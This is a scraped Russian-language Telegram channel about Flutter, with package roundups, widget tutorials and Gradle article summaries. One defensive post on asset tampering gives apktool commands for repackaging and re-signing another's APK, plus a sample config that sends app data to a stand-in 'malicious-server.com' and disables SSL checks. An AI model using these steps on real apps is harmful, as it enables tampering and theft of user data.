Flutter Pulse – Telegram
Flutter Pulse
941 subscribers
540 photos
1 file
1.42K links
На канале будут новости про flutter с сайтов, информация об обновлении пакетов, а также авторский контент.
Download Telegram
Самые лучшие обновлённые пакеты за последние 24 часа


Firebase Messaging Plugin for Flutter 15.2.1
Плагин для Flutter, который позволяет использовать Firebase Cloud Messaging API. Убрано устаревшее сообщение (#16995).
👍 Лайки: 3690, 📥 Скачиваний: 1.1M
https://pub.dev/packages/firebase_messaging

Stockholm 0.1.0
Этот пакет представляет собой коллекцию виджетов и тем для создания приложений с дизайном, похожим на Mac и Windows.
В обновлении была проведена незначительная очистка кода.
Пакет набрал 117 лайков и 5 скачиваний.
https://pub.dev/packages/stockholm

build_web_compilers 4.4.9
Этот пакет используется для компиляции кода Dart в JavaScript и WebAssembly для запуска в браузере.
В новой версии обновлена минимальная зависимость от build_modules до 5.1.7.
Лайков: 42
Скачиваний: 142 000
https://pub.dev/packages/build_web_compilers

Flet 0.80.5
Теперь с поддержкой LaTeX в ft.Markdown и исправлением утечки памяти в веб-приложениях.
Лайков: 80, Скачиваний: 7420.
https://pub.dev/packages/flet

async_redux 26.3.3
Пакет async_redux - это оптимизированная и переработанная версия Redux, предназначенная для управления состоянием приложений. В новой версии добавлена поддержка Claude Code Skills, которая позволяет разработчикам использовать async_redux с помощью ИИ-ассистентов.
Лайков: 156, Скачиваний: 7100
https://pub.dev/packages/async_redux

flutter_background_geolocation 5.0.3
Этот пакет используется для отслеживания местоположения устройства в фоновом режиме с учетом движения и экономией энергии. В новой версии добавлены защитные механизмы для обработки ложных данных о местоположении.
Лайков: 829
Скачиваний: 41 600
https://pub.dev/packages/flutter_background_geolocation

camera_android_camerax 0.6.29
Пакет camera_android_camerax используется для реализации камеры в Android-приложениях с помощью библиотеки CameraX. В новой версии исправлена логика определения направления объектива, теперь она запрашивает значение напрямую из CameraX.
Пакет имеет более 191 000 скачиваний и 80 лайков.
https://pub.dev/packages/camera_android_camerax

FlutterPulse — канал о мире Flutter!

Поддержать канал

#Flutter #Dart #pubdev #FlutterPulse #FlutterPulseBestPackages #firebase_messaging #stockholm #build_web_compilers #flet #async_redux #flutter_background_geolocation #camera_android_camerax
1
👣 Троян в assets: как хакеры меняют ваше Flutter-приложение без исходного кода. 🚨

Когда мы говорим о безопасности мобильных приложений, первое, что приходит в голову - защита исходного кода, обфускация, шифрование API-ключей. Но есть менее очевидный вектор атаки, который многие упускают из виду: ресурсы приложения. Те самые изображения, JSON-файлы, HTML-шаблоны и конфигурации, которые лежат в папке assets и кажутся безобидными. На самом деле они могут стать троянским конем, превращающим ваше приложение в инструмент мошенников без единого изменения в коде на Dart.

Представьте стандартный процесс публикации Flutter-приложения. Вы собираете APK или AAB, подписываете его и отправляете в магазин. Но что происходит с этим APK после сборки? Любой человек может скачать ваше приложение, выполнить несколько команд:

# Извлекаем ресурсы
apktool d yourapp.apk

# Редактируем файлы в папке assets/
# ...
# Перепаковываем
apktool b yourapp -o modified.apk

# Подписываем (да, даже без вашего ключа!)
zipalign -v 4 modified.apk aligned.apk
apksigner sign --ks fake.keystore aligned.apk

И вот уже существует модифицированная версия вашего приложения, которая выглядит и работает так же, но содержит измененные ресурсы. Этот APK может распространяться через сторонние магазины, мессенджеры или фишинговые сайты.

Сценарии, которые уже происходят:
- WebView становится оружием: Вы используете локальный HTML-файл для отображения справки или условий использования. Кажется безопасным? Хакер заменяет ваш help.html на страницу с фишинговой формой входа, которая крадет логины и пароли пользователей. При этом адресная строка показывает file:///android_asset/help.html - выглядит доверительно.
- Конфигурация как бэкдор: Приложение загружает настройки из config.json. В оригинале там безобидные цвета и тексты. После замены в конфиге появляются:

{
"api_endpoint": "https://malicious-server.com/collect",
"enable_debug": true,
"disable_ssl_checks": true
}

Теперь ваше приложение отправляет все данные на сервер злоумышленника и отключает проверки безопасности.
- Кража ключей, которые «никто не найдет»: Вы положили Firebase-ключ или токен Stripe в assets/secrets.json, решив, что «это же не в коде». Хакер извлекает APK, находит файл за 30 секунд и получает доступ к вашей инфраструктуре.

Защита - многослойный подход:
- Минимизация ущерба: Первый и главный принцип: не храните в ресурсах того, что можно не хранить. Конфигурации должны приходить с защищенного бэкенда. Ключи API - использовать через нативные хранилища или серверные прокси. Если ресурс не критичен для безопасности - проблема отпадает сама собой.
- Верификация целостности: Для ресурсов, которые действительно должны быть локальными, добавьте проверку контрольных сумм:

import 'package:crypto/crypto.dart';
import 'dart:convert';

Future<bool> verifyAsset(String assetPath, String expectedHash) async {
final data = await rootBundle.load(assetPath);
final bytes = data.buffer.asUint8List();
final hash = sha256.convert(bytes).toString();
return hash == expectedHash;
}

Храните хэши в нативной части приложения или получайте их с сервера при первом запуске.
- Шифрование на лету: Критичные данные в ресурсах можно хранить в зашифрованном виде. Например, конфигурационный JSON шифруется AES на этапе сборки и расшифровывается только в памяти при запуске. Ключ шифрования не должен лежать в том же APK.

Полную новость читайте здесь.

FlutterPulse — канал о мире Flutter!

#flutter #dart #FlutterPulse #FlutterPulseNews #hardworkerFlutter #мобильнаябезопасность #fluttersecurity
2
Освоение навигации назад в Flutter: почему back_button_interceptor лучше, чем PopScope

Вы когда-нибудь сталкивались с проблемами при обработке кнопки "Назад" в Android при разработке Flutter-приложений? Когда приложение становится сложнее, стандартный PopScope начинает казаться ограниченным.

В этой статье рассматривается пакет back_button_interceptor, который предлагает глобальный, гибкий и приоритетный контроль над поведением кнопки "Назад" во всём приложении. Вы узнаете, чем он отличается от PopScope, когда его использовать и как он может упростить навигацию в вашем приложении.

Основное внимание уделяется сравнению PopScope и back_button_interceptor, а также примерам использования последнего для более сложной навигации, включая вложенные навигаторы и вкладки. Вы увидите, как back_button_interceptor позволяет добавлять несколько обработчиков с приоритетом и управлять ими динамически.

🇷🇺 Читать статью на русском
🇬🇧 Read the article in English
🌐 Читать оригинал

Все подобные новости ищите по хэштегу #FlutterPulseMedium Напишите, чтобы подписчики оценили рубрику.

FlutterPulse — канал о мире Flutter!

#flutter #dart #flutterpulse #FlutterPulseMedium #mobiledevelopment #appdevelopment #backbutton #navigation
👣 Как виджеты AbsorbPointer и IgnorePointer управляют поведением интерфейса. 🤔

В арсенале Flutter-разработчика есть десятки виджетов для построения визуала, но ключевое качество современного интерфейса - не только красота, но и его предсказуемое поведение 📈. Как элегантно запретить двойное нажатие на кнопку, сделать слайдер только для чтения или временно приостановить все жесты в сложной форме? 🤷‍♂️ Для этих задач существуют специальные виджеты-контроллеры, которые оставаясь невидимыми, кардинально меняют логику взаимодействия 🔮.

Сегодня разберем двух таких стражей порядка: AbsorbPointer и IgnorePointer 🚀.

AbsorbPointer - полная блокировка: это стена 🚧. Когда absorbing: true, все касания останавливаются на этом виджете 🛑. События не проходят к дочерним виджетам и не ищут другие цели 🔍.

Пример: кнопка отправки формы 📝. Нужно заблокировать ее во время загрузки, но оставить видимой с анимацией 🔄:

AbsorbPointer(
absorbing: isLoading,
child: ElevatedButton(...),
)


IgnorePointer - сквозное игнорирование: это невидимка 🔮. При ignoring: true виджет пропускает события сквозь себя 🔁. Hit-тестирование продолжается, события могут попасть в виджеты ниже 🔝.

Пример: полупрозрачный баннер поверх карты 🗺. Баннер виден, но карта остается интерактивной 📍:

Stack(
children: [
InteractiveMap(),
IgnorePointer(
child: PromoBanner(),
),
],
)


Главное отличие:
🔵 AbsorbPointer: события не проходят вообще 🚫.
🔵 IgnorePointer: события проходят сквозь к виджетам позади 🔜.

Полную новость читайте здесь.

FlutterPulse — канал о мире Flutter!

#flutter #dart #FlutterPulse #FlutterPulseNews #hardworkerFlutter #mobiledevelopment #uxdesign
👍1😁1
Обзор пакетов на тему Chat


Stream Chat Flutter SDK 10.0.0
Этот официальный пакет для Flutter позволяет легко интегрировать чат в ваши приложения. Он предлагает широкий спектр функций для создания полноценного чата в приложениях.
👍 Лайки: 38.3K, 📥 Скачиваний: 14.6K
📅 Обновлено: 41 час назад
https://pub.dev/packages/stream_chat_flutter


Stream Chat Dart Client 10.0.0
Этот официальный клиент для Dart позволяет легко интегрировать чат в ваши приложения, поддерживая Flutter, мобильные и веб-приложения. Он предлагает простой и эффективный способ добавить чат в ваши проекты.
👍 Лайки: 70, 📥 Скачиваний: 16.6K
📅 Обновлено: 41 час назад
https://pub.dev/packages/stream_chat


extended_text_library 12.0.1
Этот пакет для Flutter расширяет возможности стандартного текста, позволяя создавать текст с встроенными изображениями, упоминаниями и настраиваемым фоном. Он предлагает широкие возможности для кастомизации текста в ваших приложениях.
👍 Лайки: 30, 📥 Скачиваний: 242K
📅 Обновлено: 14 месяцев назад
https://pub.dev/packages/extended_text_library


chat_bubbles 1.8.0
Этот пакет для Flutter позволяет легко создавать красивые пузыри чата, похожие на WhatsApp и другие мессенджеры. Он включает в себя пузыри для текста, аудио и изображений, а также другие полезные функции.
👍 Лайки: 555, 📥 Скачиваний: 10.9K
📅 Обновлено: 12 дней назад
https://pub.dev/packages/chat_bubbles


Flyer Chat 2.11.1
Этот открытый пакет для создания чатов в Flutter поддерживает любые бэкенды, легко настраивается и оптимизирован для производительности. Он предлагает широкий спектр функций для создания полноценного чата в приложениях.
👍 Лайки: 1600, 📥 Скачиваний: 63.7K
📅 Обновлено: 49 дней назад
https://pub.dev/packages/flutter_chat_ui


ChatView 3.0.0
Этот пакет для Flutter позволяет легко интегрировать в приложения настраиваемый интерфейс чата с гибкой интеграцией бэкенда. Он поддерживает списки чатов, индивидуальные и групповые чаты, реакции на сообщения и многое другое.
👍 Лайки: 640, 📥 Скачиваний: 1.2K
📅 Обновлено: 42 дня назад
https://pub.dev/packages/chatview


FlutterPulse — канал о мире Flutter!


#flutter #dart #pubdev #flutterpulse #StreamChatFlutterSDK #StreamChatDartClient #extended_text_library #chat_bubbles #FlyerChat #ChatView
Прокачиваем взаимодействие с пользователем в Flutter! 🚀
Сегодня мы поговорим о некоторых классных инструментах, которые помогут вам сделать ваше приложение более удобным и интересным для пользователей 🤩.

Во-первых, есть Dismissible, который позволяет легко реализовать логику swipe-to-delete 📝. Например:

Dismissible(
key: Key(item.id),
background: Container(color: Colors.red),
onDismissed: (direction) => deleteItem(item.id),
child: ListTile(
noscript: Text("Swipe me to delete"),
),
)


Во-вторых, есть Tooltip, который показывает краткую подсказку при долгом нажатии (mobile) или наведении (web/desktop) 💡. Например:

Tooltip(
message: "Download PDF",
child: IconButton(
icon: Icon(Icons.download),
onPressed: () {},
),
)


В-третьих, есть Draggable, который подходит, чтобы реализовать drag-and-drop, как в Trello или корзине интернет-магазина 🛍. Например:

Draggable<Color>(
data: Colors.blue,
feedback: Container(
height: 100,
width: 100,
color: Colors.blue.withOpacity(0.5),
),
childWhenDragging: Container(
height: 100,
width: 100,
color: Colors.grey,
),
child: Container(
height: 100,
width: 100,
color: Colors.blue,
),
);


И, наконец, есть ReorderableListView, который идеально подходит для настроек, плейлистов и любых кастомных списков 📝. Например:

ReorderableListView(
onReorder: (oldIndex, newIndex) {
setState(() {
if (newIndex > oldIndex) newIndex -= 1;
final item = list.removeAt(oldIndex);
list.insert(newIndex, item);
});
},
children: list
.map(
(item) => ListTile(
key: ValueKey(item),
noscript: Text(item.toString()),
),
)
.toList(),
);


Полную новость читайте здесь.


FlutterPulse — канал о мире Flutter!

#flutter #dart #FlutterPulse #FlutterPulseNews #flutter_amiga
Offstage: пререндеринг без боли. 👣
Во Flutter, где каждое изменение состояния может запускать перестроение дерева виджетов, управление производительностью часто сводится к искусству скрытия. Не буквального, а архитектурного. Когда перед нами встает задача заранее подготовить сложный фрагмент интерфейса, но не показывать его немедленно, на помощь приходит неочевидный, но мощный виджет Offstage.

Ключевое отличие Offstage от Visibility с флагом visible: false или условного оператора (if (condition) Widget()) - в его отношении к дереву. Когда вы оборачиваете виджет в Offstage(offstage: true), происходит следующее:
🔵 Виджет физически исключается из процесса лейаута (layout). Система его не измеряет и не размещает, как если бы его не существовало.
🔵 Виджет остается активной частью дерева виджетов. Его состояние (State), контроллеры анимаций (AnimationController), подписки (StreamSubnoscription, Listenable) продолжают жить и работать.
🔵 Виджет не отрисовывается (не вызывает paint). Это экономит вычислительные ресурсы GPU.

Этот принцип «жить, но не мешать» создает уникальные возможности.

Ключевые сценарии применения:
🔹 Пребилдинг ресурсоемких экранов и вкладок.
🔹 Сложные, готовые к показу модальные окна или меню.
🔹 Управление жизненным циклом для оптимизации.

Технические нюансы и ограничения:
🔵 Размер.
🔵 Не для всего.
🔵 Альтернатива IndexedStack.

Пример - быстрое переключение вкладок:

Stack(
children: [
Offstage(
offstage: _currentTab != 0,
child: SettingsScreen(), // Живое состояние
),
Offstage(
offstage: _currentTab != 1,
child: ProfileScreen(), // Контроллеры активны
),
],
)


💡 Вывод:
Offstage - это не просто скрытие виджета. Он сохраняет его состояние и ресурсы, предотвращая пересоздание. Используйте его для пребилдинга вкладок, сохранения анимаций и быстрых переходов.

Полную новость читайте здесь.

FlutterPulse — канал о мире Flutter!

#flutter #dart #FlutterPulse #FlutterPulseNews #hardworkerFlutter
Разбираемся с Gradle в Flutter: полное руководство по решению проблем сборки Android

Вы когда-нибудь сталкивались с ошибками сборки Android-проекта во Flutter, которые заставляли вас долго ломать голову? Gradle-related issues - одна из самых частых проблем, с которыми сталкиваются Flutter-разработчики, особенно новички.

В этой статье мы подробно рассмотрим, что такое Gradle, почему возникают ошибки и, самое главное, как их исправить раз и навсегда. Вы узнаете о ключевых файлах конфигурации, таких как gradle-wrapper.properties, settings.gradle и build.gradle, и о том, как обновлять версии Gradle и Android Gradle Plugin (AGP). Кроме того, в статье будут представлены распространенные ошибки и способы их решения, а также лучшие практики для обновления и поддержки вашего проекта.

🇷🇺 Читать статью на русском
🇬🇧 Read the article in English
🌐 Читать оригинал

Все подобные новости ищите по хэштегу #FlutterPulseMedium Напишите, чтобы подписчики оценили рубрику.

FlutterPulse — канал о мире Flutter!

#flutter #dart #flutterpulse #FlutterPulseMedium #android #gradle #agp #buildissues #mobiledevelopment #programming #softwaredevelopment
Самые лучшие обновлённые пакеты за последние 24 часа

analyzer_plugin 0.14.2 - плагин для создания плагинов для сервера анализа, теперь требует версию 10.0.2 пакета analyzer. Лайков: 45, Скачиваний: 999000. Подробнее: https://pub.dev/packages/analyzer_plugin 👍

analyzer 10.0.2 - пакет для статического анализа кода на Dart. В новой версии сделаны внутренние изменения. Лайков: 314, Скачиваний: 7 620 000. Подробнее: https://pub.dev/packages/analyzer 👍

flutter_background_geolocation 5.0.4 - плагин для отслеживания местоположения устройства в фоновом режиме. В новой версии исправлена ошибка в парсинге состояния. Лайков: 829, Скачиваний: 42 400. Подробности: https://pub.dev/packages/flutter_background_geolocation 📍

lints 6.1.0 - официальный набор правил линтера для языка Dart. В новой версии добавлены два новых правила. Лайков: 260, Скачиваний: 4 300 000. Подробнее: https://pub.dev/packages/lints 👍

record 6.2.0 - плагин для записи аудио с микрофона. В новой версии улучшена конвертация байтов в int16 и добавлена поддержка AAC/ADTS стриминга на iOS и macOS. Лайков: 858, Скачиваний: 343 000. Подробнее: https://pub.dev/packages/record 🎙️

FlutterPulse — канал о мире Flutter!

Поддержать канал

#Flutter #Dart #pubdev #FlutterPulse #FlutterPulseBestPackages #analyzer_plugin #analyzer #flutter_background_geolocation #lints #record
Gradle Made Simple: Основы Gradle для Flutter-разработчиков

Вы устали от ошибок и непонятных логов при сборке Android-приложений на Flutter? Давайте разберемся с Gradle вместе!

В этой статье вы узнаете, что такое Gradle, как он работает и какие основы должен знать каждый Flutter-разработчик. Автор статьи простым языком объясняет сложные концепции, делится своим опытом и рассказывает, как настроить Gradle для вашего проекта. Вы узнаете о двух build.gradle файлах, их назначении и ключевых полях, таких как compileSdkVersion, minSdkVersion и applicationId.

🇷🇺 Читать статью на русском
🇬🇧 Read the article in English
🌐 Читать оригинал

Напишите в комментариях, понравилась ли вам эта рубрика!

FlutterPulse — канал о мире Flutter!

#FlutterPulseMedium
#flutter #dart #gradle #android #FlutterPulse #FlutterDev #MobileDev #DevTips
Обзор пакетов на тему Drawing, Painting & Signature


Syncfusion Flutter SignaturePad 32.1.25
Syncfusion Flutter SignaturePad — это мощная библиотека, которая позволяет легко захватить гладкие, реалистичные подписи с помощью сенсорного, перового или мышиного ввода. Подписи можно сохранять как изображения и синхронизировать их на устройствах и документах.
👍 Лайки: 303, 📥 Скачиваний: 158K
📅 Обновлено: 4 дня назад
https://pub.dev/packages/syncfusion_flutter_signaturepad


Flutter Painter v2.1.0+1
Flutter Painter — это пакет для рисования в Flutter, который позволяет создавать свои собственные рисунки, добавлять текст, формы и изображения.
👍 Лайки: 76, 📥 Скачиваний: 470
📅 Обновлено: 12 месяцев назад
https://pub.dev/packages/flutter_painter_v2


Flutter Drawing Board 1.0.1+2
Flutter Drawing Board — это мощный и настраиваемый пакет для Flutter, который позволяет создавать интерактивные доски для рисования с продвинутыми функциями.
👍 Лайки: 0, 📥 Скачиваний: 8.4K
📅 Обновлено: 11 дней назад
https://pub.dev/packages/flutter_drawing_board


perfect_freehand 2.5.2+1
perfect_freehand — это пакет для Flutter, который позволяет рисовать идеальные линии с учетом давления.
👍 Лайки: 183, 📥 Скачиваний: 10.8K
📅 Обновлено: 4 дня назад
https://pub.dev/packages/perfect_freehand


signature 6.3.0
signature — это пакет для Flutter, который предоставляет высокопроизводительный canvas для подписей с настройками стиля, границ и начального состояния.
👍 Лайки: 650, 📥 Скачиваний: 151K
📅 Обновлено: 7 месяцев назад
https://pub.dev/packages/signature


hand_signature 3.1.0+2
hand_signature — это плагин для Flutter, который предоставляет Signature Pad для рисования гладких подписей.
👍 Лайки: 300, 📥 Скачиваний: 10.2K
📅 Обновлено: 6 месяцев назад
https://pub.dev/packages/hand_signature


FlutterPulse — канал о мире Flutter!


#flutter #dart #pubdev #flutterpulse #SyncfusionFlutterSignaturePad #FlutterPainter #FlutterDrawingBoard #perfectfreehand #signature #hand_signature
1
Самые лучшие обновлённые пакеты за последние 24 часа


firebase_messaging 15.2.1
Плагин для Flutter, который позволяет использовать Firebase Cloud Messaging API. Убрано устаревшее сообщение (#16995).
👍 Лайки: 3690, 📥 Скачиваний: 1.1M
https://pub.dev/packages/firebase_messaging

slang 4.12.1
Пакет slang - это решение для международализации (i18n) на основе JSON, YAML, CSV или ARB-файлов, обеспечивающее типобезопасность и минимум настройки.
В новой версии добавлены возможности форматирования базового локализованного файла при запуске команды `slang normalize`, а также форматирования YAML-файлов, как в Weblate.
Пакет имеет более 104 000 скачиваний и 735 лайков.
https://pub.dev/packages/slang

qlevar_router 1.12.1
Этот пакет помогает управлять маршрутизацией и навигацией в проектах Flutter.
В новой версии улучшен QRouterDelegate с декодированием конфигурации для обработки глубоких ссылок.
Пакет имеет 163 лайка и 1260 скачиваний.
https://pub.dev/packages/qlevar_router

material_symbols_icons 4.39.0
Этот пакет используется для интеграции официальных Material Symbols Icons в приложения Flutter. В новой версии добавлена поддержка переменных шрифтов Material Symbols Icons версии 4.39 для стилей outline, rounded и sharp.
Пакет имеет более 4177 иконок, поддержку языков с правым направлением письма и автоматическое зеркалирование иконок. Кроме того, доступна метаданные иконок, включая категории, теги и информацию о популярности.
Пакет имеет более 143 000 скачиваний и 282 лайка!
https://pub.dev/packages/material_symbols_icons

phone_numbers_parser 9.0.19
Пакет phone_numbers_parser, используемый для парсинга телефонных номеров, обновлён до версии 9.0.19. В этом обновлении обновлены метаданные. Пакет имеет 265 лайков и более 158 000 скачиваний.
https://pub.dev/packages/phone_numbers_parser

Tostore 3.0.2
Tostore - высокопроизводительный движок хранилища для распределенных баз данных векторных данных в экосистеме Dart/Flutter. Он обеспечивает бесшовную поддержку всех платформ, нейронно-подобную распределенную архитектуру и параллельную обработку.
В новой версии добавлена поддержка внешних ключей, атомарные операции обновления выражений, поддержка шифрования AES и многое другое.
Лайков: 116
Скачиваний: 465 000
https://pub.dev/packages/tostore

pretty_qr_code 3.6.0
Этот пакет позволяет создавать высоко настраиваемые QR-коды в приложениях Flutter. В новой версии добавлена возможность настройки границ для форм QR-кодов, оптимизировано отображение простых форм и добавлена поддержка пользовательских клипперов для встроенных изображений.
Пакет имеет более 95 700 скачиваний и 551 лайк на pub.dev.
https://pub.dev/packages/pretty_qr_code

FlutterPulse — канал о мире Flutter!


Поддержать канал

#Flutter #Dart #pubdev #FlutterPulse #FlutterPulseBestPackages #firebase_messaging #slang #qlevar_router #material_symbols_icons #phone_numbers_parser #Tostore #pretty_qr_code
Gradle Made Simple (Часть 2): Основы Gradle для Flutter-разработчиков

Вы устали бороться с Gradle и его загадочными ошибками? Теперь пришло время разобраться с версиями, совместимостью AGP и настройками gradle.properties!

В этой статье вы узнаете, как синхронизировать AGP и Gradle Wrapper, чтобы избежать ошибок сборки, как настроить gradle.properties для оптимизации процесса сборки и какие полезные команды Gradle могут упростить вашу жизнь. Вы также поймёте, как использовать настройки gradle.properties для управления памятью, миграции на AndroidX и многозадачности.

🇷🇺 Читать статью на русском
🇬🇧 Read the article in English
🌐 Читать оригинал

Все подобные новости ищите по хэштегу #FlutterPulseMedium Напишите, чтобы подписчики оценили рубрику.

FlutterPulse — канал о мире Flutter!

#flutter #dart #gradle #android #FlutterPulse #FlutterPulseMedium #dev #development #programming #mobiledev
Обзор пакетов на тему Server Driven UI & Widget Generation


flutter_widget_from_html_core 0.17.0
Пакет flutter_widget_from_html_core позволяет отображать HTML как виджеты в Flutter, поддерживает более 70 тегов, инлайн стили и атрибуты. Он обновлён 6 месяцев назад.
👍 Лайки: 512, 📥 Скачиваний: 412K
📅 Обновлено: 6 месяцев назад
https://pub.dev/packages/flutter_widget_from_html_core


dynamic_widget 6.0.0
Этот пакет позволяет создавать динамические UI в Flutter, используя JSON, и поддерживает формат JSON, похожий на код Flutter-виджетов. Он обновлён 11 месяцев назад.
👍 Лайки: 449, 📥 Скачиваний: 1.0K
📅 Обновлено: 11 месяцев назад
https://pub.dev/packages/dynamic_widget


flutter_widget_from_html 0.17.1
Пакет flutter_widget_from_html - это пакет для рендеринга HTML в виджеты Flutter, поддерживает ссылки, изображения, аудио, видео, iframe и более 70 других тегов. Он обновлён 5 месяцев назад.
👍 Лайки: 1120, 📥 Скачиваний: 177K
📅 Обновлено: 5 месяцев назад
https://pub.dev/packages/flutter_widget_from_html


rfw 1.1.0
Пакет rfw позволяет рендерить виджеты на основе описаний UI, получаемых в режиме реального времени, открывая возможности для создания интерфейсов, которые меняются в зависимости от данных. Он обновлён 52 дня назад.
👍 Лайки: 678, 📥 Скачиваний: 10K
📅 Обновлено: 52 дня назад
https://pub.dev/packages/rfw


json_dynamic_widget 12.0.0+7
Пакет json_dynamic_widget позволяет создавать динамические виджеты Flutter из JSON или YAML. Он обновлён 5 дней назад.
👍 Лайки: 299, 📥 Скачиваний: 1.2K
📅 Обновлено: 5 дней назад
https://pub.dev/packages/json_dynamic_widget


flutter_html 3.0.0
Пакет flutter_html - это простой и мощный виджет для отображения HTML и CSS в Flutter. Он обновлён 10 месяцев назад.
👍 Лайки: 2140, 📥 Скачиваний: 551K
📅 Обновлено: 10 месяцев назад
https://pub.dev/packages/flutter_html


FlutterPulse — канал о мире Flutter!


#flutter #dart #pubdev #flutterpulse #flutter_widget_from_html_core #dynamic_widget #flutter_widget_from_html #rfw #json_dynamic_widget #flutter_html
Самые лучшие обновлённые пакеты за последние 24 часа

idb_shim 2.8.2+1 - пакет для работы с Indexed DB в Dart, предоставляющий единый API для работы с базами данных на разных платформах.
В новой версии добавлены onChange listener для SdbDatabase и helpers для импорта/экспорта данных.
👍 Лайки: 37, 📥 Скачиваний: 40К
https://pub.dev/packages/idb_shim

process_run 1.3.0 - пакет для запуска скриптов и поиска исполняемых файлов в Linux, Windows и Mac.
Теперь доступен экспорт ShellContext. Требуется Dart 3.10.
👍 Лайки: 347, 📥 Скачиваний: 127К
https://pub.dev/packages/process_run

flutter_tex 5.2.2 - пакет для отображения математических и химических формул в приложениях Flutter.
Он поддерживает форматы LaTeX, TeX и MathML, и может работать без интернет-соединения.
В новой версии исправлены сломанные ссылки в докуметации.
👍 Лайки: 340, 📥 Скачиваний: 3.5К
https://pub.dev/packages/flutter_tex

webview_flutter_plus 0.4.20 - пакет, который позволяет загружать локальный HTML, CSS и JavaScript контент из Assets или строк через локальный сервер.
Теперь с обновленными зависимостями.
👍 Лайки: 166, 📥 Скачиваний: 7.7К
https://pub.dev/packages/webview_flutter_plus

flutter_form_builder 10.3.0+1 - пакет для создания форм в Flutter, позволяя легко создавать поля ввода, валидировать данные и собирать пользовательский ввод.
В новой версии удалена ссылка на статью из файла README.
👍 Лайки: 2.8К, 📥 Скачиваний: 131К
https://pub.dev/packages/flutter_form_builder

form_builder_extra_fields 7.0.0-alpha.1 - пакет, предоставляющий готовые поля ввода для flutter_form_builder, включая выбор цвета, рейтинг, поисковый выпадающий список и многое другое.
Теперь пакет разделен на отдельный пакет от flutter_form_builder.
👍 Лайки: 114, 📥 Скачиваний: 7.9К
https://pub.dev/packages/form_builder_extra_fields

FlutterPulse — канал о мире Flutter!

Поддержать канал

#Flutter #Dart #pubdev #FlutterPulse #FlutterPulseBestPackages #idb_shim #process_run #flutter_tex #webview_flutter_plus #flutter_form_builder #form_builder_extra_fields
1
👣 Flutter: как FractionallySizedBox и FittedBox спасают адаптивную верстку. 👀

При создании адаптивного интерфейса во Flutter мы часто используем MediaQuery и расчеты на основе размеров экрана. Но есть два менее известных, но исключительно мощных виджета, которые решают специфичные задачи адаптивности на уровне композиции, без сложной математики: FractionallySizedBox и FittedBox.

FractionallySizedBox задает размер дочернего элемента как долю от родителя. Например, кнопка на 80% ширины контейнера:

FractionallySizedBox(
  widthFactor: 0.8,
  child: ElevatedButton(...),
)

Главное условие: родитель должен иметь конкретный размер.

FittedBox масштабирует контент, сохраняя пропорции. Типичный случай - крупный заголовок в маленькой карточке:

FittedBox(
  child: Text(Заголовок, style: TextStyle(fontSize: 40)),
)

Это предотвращает OverflowError и автоматически подбирает размер.

В чем разница между FractionallySizedBox и FittedBox:
- FractionallySizedBox управляет контейнером (задает его размер как процент от родителя).
- FittedBox управляет содержимым (масштабирует виджет внутри существующего контейнера).

Когда что использовать:
- FractionallySizedBox для кнопок фиксированной ширины, прогресс-баров, колонок сетки.
- FittedBox для текста в ограниченной области, иконок в CircleAvatar, изображений-превью.

Вывод: Изучение адаптивности во Flutter не должно начинаться и заканчиваться на MediaQuery.of(context).size.width. Такие виджеты, как FractionallySizedBox и FittedBox, предлагают декларативный и композиционный подход к решению распространенных проблем верстки.

Полную новость читайте здесь.

FlutterPulse — канал о мире Flutter!

#flutter #dart #FlutterPulse #FlutterPulseNews #hardworkerFlutter
Gradle упрощено: Подпись и выпуск вашего приложения Flutter

Вы уже пережили лабиринт Gradle и разобрались с версиями? Теперь пришло время пройти главное испытание — подписать и выпустить ваше приложение!

В этой статье вы узнаете, почему подпись приложения имеет значение, как сгенерировать хранилище ключей с помощью keytool, как получить отпечатки SHA1 и SHA256 для Firebase и Google API, как настроить build.gradle безопасно с помощью local.properties, и как собрать подписанные APK и AAB.

В статье подробно описаны все шаги, необходимые для выпуска вашего Flutter-приложения, от создания ключа до настройки Gradle. Вы узнаете, чем отличается отладочный ключ от релизного, как сгенерировать ключ с помощью keytool на Windows и macOS/Linux, и как использовать local.properties для безопасного хранения конфиденциальной информации.

🇷🇺 Читать статью на русском
🇬🇧 Read the article in English
🌐 Читать оригинал

Все подобные новости ищите по хэштегу #FlutterPulseMedium Напишите, чтобы подписчики оценили рубрику.

FlutterPulse — канал о мире Flutter!

#flutter #dart #flutterpulse #FlutterPulseMedium #gradle #appdevelopment #mobiledevelopment #flutterdev #flutterdevelopers